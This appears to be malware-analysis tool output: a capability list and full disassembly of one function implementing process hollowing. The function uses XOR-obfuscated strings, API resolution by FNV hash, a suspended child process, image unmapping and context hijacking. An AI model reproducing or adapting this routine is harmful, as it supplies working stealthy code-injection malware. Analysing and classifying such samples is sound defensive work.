Function at 0x180001400
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Create process on windows
Create process suspended
Encode data using xor
Execute shellcode via indirect call
Get file size
Hash data using fnv
Read file on windows
Resolve function by parsing pe exports
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x7c0
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x18000c040]
xor rax, rsp
mov qword [rbp + 0x740], rax
movabs r15, 0x648f7f7dde83906e
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x680], rax
movabs r12, 0x1881e13c82f2ccd9
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x688], rax
movabs r13, 0x57976a8a4798ae5b
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x690], rax
movabs rbx, 0xc9f775210e68a390
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x698], rax
movabs rdi, 0xbeb111489dfaa2d
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x6e0], rax
movabs rsi, 0x7df2804feeaebfae
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x6e8], rax
movabs r14, 0x57f005e669e8db2f
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x6f0], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x6f8], rax
vmovdqu ymm0, ymmword [rbp + 0x680]
vpxor ymm1, ymm0, ymmword [rbp + 0x6e0]
vmovdqa ymmword [rbp + 0x680], ymm1
movabs rax, 0x798c7e66d983906e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6a0], rax
movabs rax, 0xe97ec26a88ed2cf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6a8], rax
movabs rax, 0xb95698106879c73
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b0], rax
movabs rax, 0x88ab104c611acbd3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6b8], rax
movabs rax, 0xca809bdb209e7c41
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c0], rax
movabs rax, 0x78931b9b8d2dbafd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6c8], rax
movabs rax, 0xeff9efef535d5fd6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x6d0], rax
movabs rcx, 0x62015ec5cfb83a14
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x6d8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x700], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x708], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x710], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x718], rax
movabs rax, 0xa3f4fab849f20c31
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x720], rax
movabs rax, 0x15fc69f3ee71d492
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x728], rax
movabs rax, 0xeff9ef8a2b3871b3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x730], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x738], rax
vmovdqu ymm0, ymmword [rbp + 0x6a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x700]
vmovdqa ymmword [rbp + 0x6a0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x6c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x720]
vmovdqa ymmword [rbp + 0x6c0], ymm1
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x6e0]
vzeroupper
call fcn.180002bb0
nop
lea rdx, [rbp + 0x6e0]
cmp qword [rbp + 0x6f8], 0xf
cmova rdx, qword [rbp + 0x6e0]
mov r8d, 0x30
lea rcx, [rbp + 0xa0]
call fcn.180002a40
mov rax, qword [rbp + 0xa0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xa0], rax
mov rax, qword [rbp + 0xa0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x9c], edx
cmp qword [rbp + 0x128], 0
je 0x18000174e
lea rcx, [rbp + 0xa8]
call fcn.180002ea0
test rax, rax
jne 0x18000174e
mov rax, qword [rbp + 0xa0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xa0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0xa0]
call fcn.1800012a0
nop
mov rdx, qword [rbp + 0x6f8]
cmp rdx, 0xf
jbe 0x18000179f
inc rdx
mov rcx, qword [rbp + 0x6e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000179a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x18000179a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800055bc
movdqa xmm0, xmmword [0x1800082a0]
movdqu xmmword [rbp + 0x6f0], xmm0
mov byte [rbp + 0x6e0], 0
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x6e0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x6e8], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x6f8], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x700], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x708], rax
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x710], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x718], rax
vmovdqu ymm0, ymmword [rbp + 0x6e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x700]
vmovdqa ymmword [rbp + 0x6e0], ymm1
mov r8d, 0x22
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0xa0]
vzeroupper
call fcn.180002a40
nop
cmp qword [rbp + 0x128], 0
je 0x1800018bc
mov r8d, 0x2bcb58
lea rdx, [0x18000c0c0]
lea rcx, [rbp + 0xa0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0xa8]
call fcn.180002ea0
test rax, rax
jne 0x1800018bc
mov rax, qword [rbp + 0xa0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xa0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
lea rcx, [rbp + 0xa0]
call fcn.1800012a0
mov dword [rbp + 0x1e0], 0x10000b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movups xmmword [rbp + 0x50], xmm0
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], rax
movups xmmword [rbp + 0x10], xmm0
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x30]
mov qword [rsp + 0x40], rax
xor r12d, r12d
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x6a0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180001e00
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
mov r8d, 1
lea rcx, [rbp + 0x680]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x180001994
mov edx, 1
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.ntdll.dll_NtTerminateProcess]
jmp 0x180001e00
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov edx, eax
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
mov qword [rsp + 0x20], r12
lea r9, [rbp]
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180001980
mov rax, qword [0x1802c94c8]
test rax, rax
jne 0x180001a99
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180001a76
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180001a76
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x7ee61657
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180001a71
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x180001a50
cmp r8d, 0xb35440ab
je 0x180001a7b
test r9d, r9d
jne 0x180001a30
mov rax, qword [rax]
jmp 0x180001a00
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov eax, dword [rcx + rax*4]
add rax, r10
mov qword [0x1802c94c8], rax
mov rcx, rsi
call rax
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x180001980
movsxd rdi, dword [r14 + 0x3c]
add rdi, r14
lea rdx, [rbp + 0x1b0]
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ntdll.dll_NtGetContextThread]
mov rdx, qword [rbp + 0x238]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rbp + 0x28]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.ntdll.dll_NtReadVirtualMemory]
mov rdx, qword [rbp + 0x28]
cmp rdx, qword [rdi + 0x30]
jne 0x180001afd
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.ntdll.dll_NtUnmapViewOfSection]
mov r8d, dword [rdi + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rdi + 0x30]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
mov rcx, qword [rbp + 0x10]
test rax, rax
jne 0x180001b39
mov edx, 1
call qword [sym.imp.ntdll.dll_NtTerminateProcess]
jmp 0x180001e00
mov qword [rsp + 0x20], r12
mov r9d, dword [rdi + 0x54]
mov r8, r14
mov rdx, rsi
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
mov ebx, r12d
cmp r12w, word [rdi + 6]
jae 0x180001ba5
nop dword [rax + rax]
mov eax, ebx
lea rdx, [rax + rax*4]
movsxd rcx, dword [r14 + 0x3c]
add rcx, r14
lea r9, [rcx + rdx*8]
mov r8d, dword [r9 + 0x11c]
add r8, r14
mov edx, dword [r9 + 0x114]
add rdx, rsi
mov qword [rsp + 0x20], r12
mov r9d, dword [r9 + 0x118]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
inc ebx
movzx eax, word [rdi + 6]
cmp ebx, eax
jb 0x180001b60
mov eax, dword [rdi + 0x28]
add rax, rsi
mov qword [rbp + 0x230], rax
mov rdx, qword [rbp + 0x238]
add rdx, 0x10
mov qword [rsp + 0x20], r12
mov r9d, 8
lea r8, [rdi + 0x30]
mov rcx, qword [rbp + 0x10]
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
lea rdx, [rbp + 0x1b0]
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ntdll.dll_NtSetContextThread]
xor edx, edx
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ntdll.dll_NtResumeThread]
mov rax, qword [0x1802c94b0]
test rax, rax
jne 0x180001cb9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180001c96
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180001c96
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x2a1e6526
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x180001c91
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x180001c70
cmp r8d, 0x722d9afc
je 0x180001c9b
test r9d, r9d
jne 0x180001c50
mov rax, qword [rax]
jmp 0x180001c20
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov eax, dword [rcx + rax*4]
add rax, r10
mov qword [0x1802c94b0], rax
mov rcx, qword [rbp + 0x18]
call rax
mov rax, qword [0x1802c94c0]
test rax, rax
jne 0x180001d79
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x180001d56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x180001d56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
mov r8d, 0x272b2c60
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x180001d51
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x180001d30
cmp r8d, 0x33ca94aa
je 0x180001d5b
test r9d, r9d
jne 0x180001d10
mov rax, qword [rax]
jmp 0x180001ce0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov eax, dword [rcx + rax*4]
add rax, r10
mov qword [0x1802c94c0], rax
mov rcx, qword [rbp + 0x10]
call rax
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [rbp + 0x680]
lea rcx, [rbp + 0x700]
call fcn.180002bb0
nop
lea rdx, [rbp + 0x700]
call fcn.180001360
nop
mov rdx, qword [rbp + 0x718]
cmp rdx, 0xf
jbe 0x180001e00
inc rdx
mov rcx, qword [rbp + 0x700]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001dfb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180001dfb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1800055bc
mov rcx, qword [rbp + 0x740]
xor rcx, rsp
call fcn.180005560
lea r11, [rsp + 0x7c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret